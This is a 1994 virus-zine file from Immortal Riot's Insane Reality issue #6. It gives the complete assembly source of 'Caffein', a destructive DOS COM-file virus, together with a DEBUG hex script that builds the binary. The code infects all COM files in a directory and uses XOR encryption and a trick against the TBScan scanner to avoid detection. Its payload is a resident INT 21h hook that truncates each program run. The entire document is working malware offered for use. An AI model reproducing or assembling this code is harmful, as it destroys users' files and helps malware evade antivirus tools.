Insane Reality issue #6 - (c)opyright 1994 Immortal Riot                File 007

; ------------------------------------------------------------------------------
;
;                          -  Caffein -
;       Created by Immortal Riot's destructive development team
;              (c) 1994 The Unforgiven/Immortal Riot 
;
; ------------------------------------------------------------------------------
;             þ Undetectable/Destructive COM-infector þ
; ------------------------------------------------------------------------------

  Replicating:

   Infect all com-files in the current directory in one single
   run. Will clear the file-attributs so even the readonly and
   write-protected files get's infected. It saves and restores the
   file attributes, the file and time values, but alter the second-
   value to use as infection-marker.

  Pay-Load:

   There is a four percent each time an infected program is run
   that the virus will make some parts of the program go
   resident and truncate all file's exectuted. I believe this 
   ain't too cruel.

  Anti-Virus-Detection:

   No flags by tbscan 6.26 on hard heuristic and no detection by 
   f-prot heuristics either.

.model tiny
.code
org     100h

v_start:

firstgenbuffer  db 0e9h,00h,00h    

virus_start:

        mov     bp,0000h                    ; get delta offset
					    
	call    trick_tbscan		    ; 
        call    decrypt			    ; decrypt virus
        jmp     short real_start	    ; and continue..

trick_tbscan:
					    
	mov    	ax,0305h		    ; set keyb i/o
        xor     bx,bx                       ; too beat the
        int     16h                         ; shit outta tbscan
	ret

write_virus:

        call    encrypt			    ; write in encrypted mode
        lea     dx,[bp+virus_start]	    ; from start to virus end
        mov     cx,virus_end-virus_start    ; bytes to write
        mov     ah,40h                      ; 40hex!
        int     21h
        call    decrypt			    ; decrypt virus again
        ret                     

        crypt_value dw 0            

decrypt:
encrypt:

        mov dx,word ptr [bp+crypt_value]    ; simple xor-encryption
        lea si,[bp+real_start]              ; routine included to
        mov cx,(virus_end-virus_start+1)/2  ; avoid detection by scanners.

xor_word:

        xor word ptr [si],dx                ; encrypt all of the code!
        inc si                    
        inc si
        loop xor_word
        ret

real_start:

        mov     di,100h			    ; transer the first three
        lea     si,[bp+orgbuf]              ; bytes into a buffer
        movsw
        movsb
	
        lea     dx,[bp+new_dta]             ; set's the dta...
	mov     ah,1ah
        int     21h

        mov     ah,4eh               	    ; find first file

commm:  lea     dx,[bp+com_files]
next:	int     21h
        jnc     foundfile
        jmp     chk_cond

foundfile:

        mov     ax,word ptr [bp+new_dta+16h]	; ask file-time
        and     al,00011111b                    
        cmp     al,00000010b			; compare second-value
        jne     infect                          ; not equal - infect!

	mov     ah,4fh                          ; otherwise, search 
        jmp     short commm                     ; next file in directory

infect:

        lea     dx,[bp+new_dta+1eh]         ; clear file-attribute
	xor     cx,cx
        mov     ax,4301h
        int     21h

        mov     ax,3d02h                    ; open file
        int     21h			    ; in read/write mode

        xchg    ax,bx                       ; file handle in bx

        mov     ah,3fh                      ; read 3 bytes
        mov     cx,3                        ; from orgbuf
        lea     dx,[bp+orgbuf]
        int     21h

        mov     ax,4202h                    ; move file-pointer
        xor     cx,cx                       ; to end of file
        cwd
        int     21h

 	cmp    ax,666d                      ; check if file is
        jb     too_small                    ; too small

        cmp    ax,64000d                    ; or too big
        ja     too_big                      ; to infect

        sub     ax,3               
        mov     word ptr [bp+virus_start+1],ax	; create a new jump
        mov     word ptr [bp+newbuf+1],ax

        mov     ah,2ch                      	 ; get random
        int     21h                              ; value to use
        mov     word ptr [bp+crypt_value],dx     ; as the xor
        call    write_virus                      ; value

        mov     ax,4200h                         ; move file-pointer
        xor     cx,cx 			         ; to tof of file
        cwd
        int     21h

        mov     ah,40h				 ; write the new jump
        lea     dx,[bp+newbuf]                   ; 
        mov     cx,3
        int     21h

too_small:
too_big:

        mov     dx,word ptr [bp+new_dta+18h]	 ; restore file's date
        mov     cx,word ptr [bp+new_dta+16h]     ; and time and
        and     cl,11100000b                     ; mark the file
        or      cl,00000010b                     ; as infected
        mov     ax,5701h             
        int     21h                  
                                      
	mov     ah,3eh                           ; close file
	int     21h

        lea     dx,[bp+new_dta+1eh]              ; and put back 
 	xor     ch,ch                            ; the file-attributes
        mov     cl,byte ptr [bp+new_dta+15h]
        mov     ax,4301h              
        int     21h

nextfile:

	mov     ah,4fh                      ; seek next file
        jmp     next

chk_cond:

        mov     ah,2ch                      ; check if we should
        int     21h			    ; make the pay-load
        cmp     dl,4d                       ; activate
        jb      resident
        jmp     short reset_dta

newint21h       proc  far                   ; this code is memory resident

        cmp     ax,4b00h                    ; check for execute
	je      create                      ; matched
	jmp     cs:oldint21h                ; naaw
create:	
        mov     ah,3ch                      ; truncate the file executed
        int     21h                         ; and give it full-attribute
        int     20h                         ; and just exit to dos
        
newint21h       endp

in_mem:
resident:

        mov     ax,3521h                    ; get original vector from
        int     21h                         ; es:bx to int21h

        mov     word ptr cs:oldint21h,bx
	mov	word ptr cs:oldint21h+2,es

	mov	ax,2521h                    ; set a new interrupt vector
        lea     dx,[bp+offset newint21h]    ; for int21h to ds:dx
        int     21h

        lea     dx,[bp+offset in_mem]       ; and load it resident    
        int     27h                         
	int     20h                         ; and exit

reset_dta:

        mov     dx,80h                 	    ; puts back the dta to normal
	mov     ah,1ah
        int     21h

        mov     ax,100h                
	jmp     ax

signature       db      "[Caffeine] (c) 1994 The Unforgiven/Immortal Riot"
com_files       db      '*.com',0
orgbuf          db      0cdh,20h,90h             ; buffer to save first 3 bytes 
newbuf          db      0e9h,00h,00h		 ; buffer to calculate new entry
oldint21h       dd      0

virus_end:
new_dta:
end             v_start
--------------------------------------------------------------------------------
N caffein.com
E  100  E9 00 00 BD 00 00 E8 05 00 E8 1E 00 EB 2E B8 05
E  110  03 33 DB CD 16 C3 E8 11 00 8D 96 03 01 B9 6E 01
E  120  B4 40 CD 21 E8 03 00 C3 00 00 8B 96 28 01 8D B6
E  130  3C 01 B9 B7 00 31 14 46 46 E2 FA C3 BF 00 01 8D
E  140  B6 67 02 A5 A4 8D 96 71 02 B4 1A CD 21 B4 4E 8D
E  150  96 61 02 CD 21 73 03 E9 90 00 8B 86 87 02 24 1F
E  160  3C 02 75 04 B4 4F EB E7 8D 96 8F 02 33 C9 B8 01
E  170  43 CD 21 B8 02 3D CD 21 93 B4 3F B9 03 00 8D 96
E  180  67 02 CD 21 99 33 C9 B8 02 42 CD 21 3D 9A 02 72
E  190  2E 3D 00 FA 77 29 2D 03 00 89 86 04 01 89 86 6B
E  1a0  02 B4 2C CD 21 89 96 28 01 E8 6A FF 99 33 C9 B8
E  1b0  00 42 CD 21 B4 40 8D 96 6A 02 B9 03 00 CD 21 8B
E  1c0  96 89 02 8B 8E 87 02 80 E1 E0 80 C9 02 B8 01 57
E  1d0  CD 21 B4 3E CD 21 8D 96 8F 02 32 ED 8A 8E 86 02
E  1e0  B8 01 43 CD 21 B4 4F E9 69 FF B4 2C CD 21 80 FA
E  1f0  04 72 12 EB 30 3D 00 4B 74 05 2E FF 2E 6D 02 B4
E  200  3C CD 21 CD 20 B8 21 35 CD 21 2E 89 1E 6D 02 2E
E  210  8C 06 6F 02 B8 21 25 8D 96 F5 01 CD 21 8D 96 05
E  220  02 CD 27 CD 20 BA 80 00 B4 1A CD 21 B8 00 01 FF
E  230  E0 5B 43 61 66 66 65 69 6E 65 5D 20 28 63 29 20
E  240  31 39 39 34 20 54 68 65 20 55 6E 66 6F 72 67 69
E  250  76 65 6E 2F 49 6D 6D 6F 72 74 61 6C 20 52 69 6F
E  260  74 2A 2E 63 6F 6D 00 CD 20 90 E9 00 00 00 00 00
E  270  00 
RCX
171
W
Q
